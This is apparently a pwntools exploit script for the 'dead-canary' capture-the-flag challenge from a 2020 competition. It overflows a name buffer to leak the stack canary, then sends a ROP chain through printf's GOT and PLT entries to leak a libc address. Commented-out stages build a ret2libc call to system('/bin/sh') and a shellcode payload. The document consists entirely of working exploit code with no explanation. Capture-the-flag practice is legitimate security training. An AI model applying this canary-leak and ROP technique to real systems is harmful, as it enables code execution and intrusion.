#!/bin/python
from pwn import *

#p=remote('2020.redpwnc.tf', 31744)
p= process('./dead-canary')


printf_plt = 0x400630
printf_got = 0x0601038
main       = 0x400737
pop_rdi    = 0x00000000004008e3

#print(p.recvuntil('name: '))

def feed(data):
    #print(p.recvuntil('name: '))
    p.sendline(data)

def CanaryLeak():
    payload = 'A'*265  #Filling up space up to the canary
    p.sendline(payload)
    print(p.recvuntil('A'*265))
    #print(p.recv(7))
    canaryl= p.recv(7)
    canary = u64('\x00' + canaryl)
    log.info('Canary :' + hex(canary))
    return canary


leakCanary = ''
leakCanary += 'A'*264
leakCanary += 'A'

feed(leakCanary)

canary = CanaryLeak()

#Start of rop to leak the libc address
payload = ''
payload += 'A'*264
payload += p64(canary)
#payload += 'B'*8
payload += p64(pop_rdi)
payload += p64(printf_got)
payload += p64(printf_plt)
payload += p64(main)

feed(payload)

print(p.recvline())

#received = p.recvline(7)
#leak = u64(received.ljust(8,'\x00'))

#log.info('Printf leaked: ' + hex(leak))
''''
libc_base = leak - libc.sym['printf']

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))

log.info('System : ' + hex(system))
log.info('Binsh : ' + hex(binsh))

payload = ''
payload += 'A'*264
payload += p64(canary)
payload += 'A'*8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
'''

p.interactive()













'''
payload = '\x90'*100 
payload += p64(Canary)
payload += '\x90'*12
payload += shell
'''
#p.sendline(payload)
#p.close()
#p.interactive()


